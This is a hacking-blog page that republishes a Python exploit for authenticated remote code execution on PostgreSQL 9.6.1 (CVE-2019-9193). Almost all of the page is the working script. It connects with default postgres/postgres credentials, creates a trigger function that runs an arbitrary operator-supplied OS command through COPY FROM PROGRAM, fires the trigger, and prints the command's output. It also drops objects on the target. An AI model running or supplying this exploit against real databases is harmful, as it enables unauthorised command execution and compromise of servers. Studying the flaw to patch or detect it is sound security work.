Jump to content
  • Entries

    16114
  • Comments

    7952
  • Views

    86370229

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

# Exploit Title: PostgreSQL 9.6.1 - Remote Code Execution (RCE) (Authenticated)
# Date: 2023-02-01
# Exploit Author: Paulo Trindade (@paulotrindadec), Bruno Stabelini (@Bruno Stabelini), Diego Farias (@fulcrum) and Weslley Shaimon
# Github: https://github.com/paulotrindadec/CVE-2019-9193
# Version: PostgreSQL 9.6.1 on x86_64-pc-linux-gnu
# Tested on: Red Hat Enterprise Linux Server 7.9
# CVE: CVE-2019–9193

#!/usr/bin/python3 

import sys
import psycopg2
import argparse


def parseArgs():
    parser = argparse.ArgumentParser(description='PostgreSQL 9.6.1 Authenticated Remote Code Execution')
    parser.add_argument('-i', '--ip', nargs='?', type=str, default='127.0.0.1', help='The IP address of the PostgreSQL DB [Default: 127.0.0.1]')
    parser.add_argument('-p', '--port', nargs='?', type=int, default=5432, help='The port of the PostgreSQL DB [Default: 5432]')
    parser.add_argument('-U', '--user', nargs='?', default='postgres', help='Username to connect to the PostgreSQL DB [Default: postgres]')
    parser.add_argument('-P', '--password', nargs='?', default='postgres', help='Password to connect to the the PostgreSQL DB [Default: postgres]')
    parser.add_argument('-c', '--command', nargs='?', help='System command to run')
    args = parser.parse_args()
    return args

def main():
	try:

		# Variables
		RHOST = args.ip
		RPORT = args.port
		USER = args.user
		PASS = args.password

		print(f"\r\n[+] Connect to PostgreSQL - {RHOST}")
		con = psycopg2.connect(host=RHOST, port=RPORT, user=USER, password=PASS)

		if (args.command):
			exploit(con)
		else:
			print ("[!] Add argument -c [COMMAND] to execute system commands")

	except psycopg2.OperationalError as e:
		print("Error")
		print ("\r\n[-] Failed to connect with PostgreSQL")
		exit()

def exploit(con):
	cur = con.cursor()

	CMD = args.command

	try:
		print('[*] Running\n')
		cur.execute("DROP TABLE IF EXISTS triggeroffsec;")
		cur.execute("DROP FUNCTION triggeroffsecexeccmd() cascade;")
		cur.execute("DROP TABLE IF EXISTS triggeroffsecsource;")
		cur.execute("DROP TRIGGER IF EXISTS shoottriggeroffsecexeccmd on triggeroffsecsource;")

		cur.execute("CREATE TABLE triggeroffsec (id serial PRIMARY KEY, cmdout text);")

		cur.execute("""CREATE OR REPLACE FUNCTION triggeroffsecexeccmd()
					RETURNS TRIGGER
					LANGUAGE plpgsql
					AS $BODY$
					BEGIN
		    			COPY triggeroffsec (cmdout) FROM PROGRAM %s;
		    			RETURN NULL;
					END;
					$BODY$;
					""",[CMD,]
					)

		cur.execute("CREATE TABLE triggeroffsecsource(s_id integer PRIMARY KEY);")

		cur.execute("""CREATE TRIGGER shoottriggeroffsecexeccmd
				    AFTER INSERT
				    ON triggeroffsecsource
				    FOR EACH STATEMENT
				    EXECUTE PROCEDURE triggeroffsecexeccmd();
				    """)

		cur.execute("INSERT INTO triggeroffsecsource VALUES (2);")

		cur.execute("TABLE triggeroffsec;")

		con.commit()

		returncmd = cur.fetchall()
		for result in returncmd:
			print(result)

	except (Exception, psycopg2.DatabaseError) as error:
	 	print(error)


	finally:
		if con is not None:
			con.close()
			#print("Closed connection")

if __name__ == "__main__":
    args = parseArgs()
    main()